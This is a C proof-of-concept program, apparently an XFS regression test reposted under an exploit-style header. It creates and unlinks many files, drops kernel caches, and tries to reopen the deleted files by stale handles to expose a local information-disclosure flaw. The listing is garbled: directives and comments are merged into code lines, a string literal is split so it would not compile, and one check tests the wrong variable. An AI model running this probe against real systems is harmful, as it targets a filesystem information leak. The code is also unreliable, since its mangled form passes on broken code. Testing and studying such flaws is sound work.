| *  stale_handle.c - attempt to create a stale handle and open it*
 *  Copyright (C) 2010 Red Hat, Inc. All Rights reserved.
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 *  Credit: David Chinner
 *  The XFS filesystem is prone to a local information-disclosure vulnerability.
 *
 *  Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.  *  Denial-of-service attacks may also be possible.
 */
 #define TEST_UTIME #include <stdio.h>#include <stdlib.h>
 #include <string.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <errno.h>
 #include <xfs/xfs.h>
 #include <xfs/handle.h>
 #define NUMFILES 1024int main(int argc, char **argv)
 {
 int     i;
 int     fd;
 int     ret;
 int     failed = 0;
 char    fname[MAXPATHLEN];
 char    *test_dir;
 void    *handle[NUMFILES];
 size_t  hlen[NUMFILES];
 char    fshandle[256];
 size_t  fshlen;
 struct stat st;
 if (argc != 2) {
 fprintf(stderr, "usage: stale_handle test_dir\n");
 return EXIT_FAILURE;
 }
       test_dir = argv[1];if (stat(test_dir, &st) != 0) {
 perror("stat");
 return EXIT_FAILURE;
 }
       ret = path_to_fshandle(test_dir, (void **)fshandle, &fshlen);if (ret < 0) {
 perror("path_to_fshandle");
 return EXIT_FAILURE;
 }
       /** create a large number of files to force allocation of new inode
 * chunks on disk.
 */
 for (i=0; i < NUMFILES; i++) {
 sprintf(fname, "%s/file%06d", test_dir, i);
 fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0644);
 if (fd < 0) {
 printf("Warning (%s,%d), open(%s) failed.\n", __FILE__,
 __LINE__, fname);
 perror(fname);
 return EXIT_FAILURE;
 }
 close(fd);
 }
       /* sync to get the new inodes to hit the disk */sync();
       /* create the handles */for (i=0; i < NUMFILES; i++) {
 sprintf(fname, "%s/file%06d", test_dir, i);
 ret = path_to_handle(fname, &handle[i], &hlen[i]);
 if (ret < 0) {
 perror("path_to_handle");
 return EXIT_FAILURE;
 }
 }
       /* unlink the files */for (i=0; i < NUMFILES; i++) {
 sprintf(fname, "%s/file%06d", test_dir, i);
 ret = unlink(fname);
 if (ret < 0) {
 perror("unlink");
 return EXIT_FAILURE;
 }
 }
       /* sync to get log forced for unlink transactions to hit the disk */sync();
       /* sync once more FTW */sync();
       /** now drop the caches so that unlinked inodes are reclaimed and
 * buftarg page cache is emptied so that the inode cluster has to be
 * fetched from disk again for the open_by_handle() call.
 */
 system("echo 3 > /proc/sys/vm/drop_caches");
       /** now try to open the files by the stored handles. Expecting ENOENT
 * for all of them.
 */
 for (i=0; i < NUMFILES; i++) {
 errno = 0;
 fd = open_by_handle(handle[i], hlen[i], O_RDWR);
 if (fd < 0 && errno == ENOENT) {
 free_handle(handle[i], hlen[i]);
 continue;
 }
 if (ret >= 0) {
 printf("open_by_handle(%d) opened an unlinked file!\n",
 i);
 close(fd);
 } else
 printf("open_by_handle(%d) returned %d incorrectly on
 an unlinked file!\n", i, errno);
 free_handle(handle[i], hlen[i]);
 failed++;
 }
 if (failed)
 return EXIT_FAILURE;
 return EXIT_SUCCESS;
 }
 
 |